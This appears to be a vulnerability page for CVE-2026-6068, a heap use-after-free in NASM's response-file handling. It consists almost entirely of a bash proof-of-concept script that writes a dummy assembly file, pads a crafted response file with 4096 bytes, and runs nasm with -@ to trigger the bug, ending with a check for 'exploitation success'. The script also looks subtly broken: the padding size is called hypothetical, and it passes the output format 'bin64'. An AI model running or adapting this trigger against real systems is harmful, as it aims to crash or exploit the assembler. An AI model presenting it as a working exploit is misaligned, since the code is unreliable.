CVE-2026-6068 NASM响应文件处理释放后重用漏洞

#!/bin/bash # PoC for CVE-2026-6068: NASM Heap Use-After-Free # This script demonstrates the trigger condition by crafting a response file. # 1. Create a dummy assembly file echo "bits 64" > source.asm echo "global _start" >> source.asm echo "_start:" >> source.asm echo " ret" >> source.asm # 2. Craft a malicious response file # The content aims to manipulate the heap before the free occurs. echo "source.asm" > poc_rsp.txt # Adding padding/data to influence heap allocation (hypothetical size) python3 -c "print('A' * 4096)" >> poc_rsp.txt # 3. Trigger the vulnerability using -@ flag # The vulnerability is triggered when the buffer is freed but the pointer remains. echo "[+] Triggering vulnerability..." nasm -@ poc_rsp.txt -f bin64 -o output.bin echo "[+] Done. Check for crash or exploitation success."